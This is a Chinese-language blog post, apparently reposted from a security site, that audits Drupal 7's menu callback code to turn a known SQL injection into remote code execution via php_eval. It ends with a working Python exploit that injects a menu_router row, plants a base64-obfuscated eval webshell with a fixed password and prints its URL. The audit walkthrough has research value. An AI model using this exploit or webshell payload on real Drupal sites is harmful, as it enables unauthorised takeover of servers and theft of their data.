0x00

前几天爆了一个 Drupal 的 SQL Injection 注入漏洞,但是这个漏洞不止与 SQL 注入这么简单,还可以利用其来 RCE。SE 在 Twitter 上也有提及,可是没有透露细节。
1.png
不过今天再看的时候发现,远程代码执行的 exp 已经放出,那我也不藏着掖着了,把挖掘的过程记录一下,算是本人第一次代码审计的产物好了。
SE 说的是 Drupal 的 callbacks 造成的 RCE。那么我们审计的 point 就要在 callback 上。PHP 内置的一个函数 call_user_func_array 可以做到这一点,其中接受参数如下:

call_user_func_array ( callable $callback , array $param_arr )

第一个参数是 function 的名称,第二个参数是要调用的参数的参数。
利用这几个特性,可以实现 Drupal 的各种花式 getshell。我只审计出来一种,还有很多方式并没有去实现(毕竟渣渣看不出来)。

0x01

Drupal 有一个特性,可以让管理员添加 PHP tag 来写文章,叫做 PHP filter。这个特性默认是关闭的。当然,由于 PDO 可以执行多行 SQL 语句的特性,我们可以直接添加管理用户然后登录上去,打开 PHP filter 的 Module,然后发表文章,最后 getshell。
想要自动化也简单,那就是把从打开 PHP filter 到发表文章的所有执行过的 SQL 语句合在一起当作 Payload,最后 getshell。这个思路的 POC 我也做过,可惜太过于繁琐,最后 Payload 出来很长很长,一点也不优雅,而且并没有利用到 callback 的特性。为了钻个牛角尖,咱就来审计一下如何花式 getshell。
上文中说了 PHP filter 是一个可以执行 PHP 代码的特性,而 PHP filter 所在的文件是/modules/php/php.module这个文件,其中:

function php_eval($code) {
  ..

  ob_start();
    die($code);
  print eval('?>' . $code);
  $output = ob_get_contents();
  ob_end_clean();

  $theme_path = $old_theme_path;

  return $output;
}

这个函数就是用来执行 custom php code 的函数。

0x02

对于审计的工具,我这种渣渣直接就 find 然后 grep 定位文件,在用 phpstorm + ideavim(plugin of phpstorm),来跟踪函数,轻松愉快ow<。
我们很确定的是我们要找 call_user_func_array 这个函数,利用如下命令来查找:

cd /var/www/html/drupal
find . -type f -name "*" | xargs grep call_user_func_array

其实我们可以进一步缩小范围,因为第一个函数是我们调用的函数,而如果我们想利用的话,call_user_func_array这个函数的第一个参数我们要可以控制,那么进一步缩小范围:

find . -type f -name "*" | xargs grep call_user_func_array\(\\$ | grep -v ". '_'"

结果如下:

2.png

我们接下来就要查看上下文,看从哪里可以控制那个变量。经过逐一排查,我定位到/include/menu.inc这个文件中的menu_execute_active_handler函数。

function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
    $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;

    $read_only_path = !empty($path) ? $path : $_GET['q'];
    drupal_alter('menu_site_status', $page_callback_result, $read_only_path);

    if ($page_callback_result == MENU_SITE_ONLINE) {
      if ($router_item = menu_get_item($path)) {
        if ($router_item['access']) {
          if ($router_item['include_file']) {
            require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
          }
          $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
        }
        else {
          $page_callback_result = MENU_ACCESS_DENIED;
        }
      }
      else {
        $page_callback_result = MENU_NOT_FOUND;
      }
    }
}

阅读可以发现,我们可以控制$_GET['q']这个参数,接着进入menu_get_item这个函数。这个函数的核心代码是这里:

if (!isset($router_items[$path])) {
  if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {
    menu_rebuild();
  }
  $original_map = arg(NULL, $path);

  $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
  $ancestors = menu_get_ancestors($parts);
  $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();

  if ($router_item) {
    drupal_alter('menu_get_item', $router_item, $path, $original_map);

    $map = _menu_translate($router_item, $original_map);
    $router_item['original_map'] = $original_map;
    if ($map === FALSE) {
      $router_items[$path] = FALSE;
      return FALSE;
    }
    if ($router_item['access']) {
      $router_item['map'] = $map;
      $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts']));
      $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts']));
    }
  }

在 menu_router 里查询我们输入的$_GET['q'],然后从返回所有字段。接着回到menu_execute_active_handler函数。

if ($router_item['include_file']) {
      require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
}

这里取出router_item中的include_file,然后用require_once来包含。这里是一个 point,因为 Drupal 默认不开启 PHP filter,这里包含了就可以不用开启 PHP filter 了
接着取出router_item中的page_callback,带入call_user_func_array执行。
到此为止整个流程我们已经很清楚了。
需要注意的是page_arguments的第一个参数才会被执行,而第一个参数正是$_GET['q']的值。

0x03

  1. 通过注入向 menu_router 表中插入一段数据:
    • path 为要执行的代码;
    • include_file 为 PHP filter Module 的路径;
    • page_callback 为 php_eval;
    • access_callback 为 1(可以让任意用户访问)。
  2. 访问地址即可造成 RCE。

我们来测试一下。首先在数据库执行语句:

insert into menu_router (path,  page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');

然后访问http://192.168.1.109/drupal/?q=%3C?php%20phpinfo();?%3E

3.png

 

0x04

因为pdo的特性,有警告就不运行。上述那个sql语句虽然直接在数据库ok,但是在exp里还要消除警告才行。

感谢 redrain 爷爷的指导>_>

笔者博客 https://www.ricter.me/posts/Drupal%20%E7%9A%84%20callback%20%E5%99%A9%E6%A2%A6

//SP小编更新Exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import sys
import urllib2

if __name__ == "__main__":
    if len(sys.argv) != 2: 
        print "" 
        print "python drupal_RCE.py  http://www.secpulse.com" 
        print "" 
        sys.exit(1) 
    host = sys.argv[1] 

    target = '%s/?q=node&destination=node' % host
     
    insert_shell = "name[0;INSERT INTO `menu_router` (`path`,  `page_callback`, `access_callback`, `include_file`,\
`load_functions`,`to_arg_functions`, `description`) values ('<?php eval(base64_decode(\"QGV2YWwoJF9QT1NUW1NQMTIzNF0pOw\")); ?>',\
'php_eval', '1', 'modules/php/php.module','','','');#]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"

    content = urllib2.urlopen(url=target, data=insert_shell).read()

    if "mb_strlen() expects parameter 1" in content: 
            print "Your webshell is :%s/?q=<?php eval(base64_decode(\"QGV2YWwoJF9QT1NUW1NQMTIzNF0pOw\"));?>" % (host)
            print "Your Password is : SP1234"
            print "Have Fun with CaiDao & Exp From SecPulse.com"
    else:
        print "Failed ,Somethings is wrong!"

执行成功提示

Your webshell is :http://localhost/drupal-7.31/?q=<?php eval(base64_decode("QGV2YWwoJF9QT1NUW1NQMTIzNF0pOw"));?>
Your Password is : SP1234
Have Fun with CaiDao & Exp From SecPulse.com

drupal_rce

 

Have Fun~~~

源链接

Hacking more

...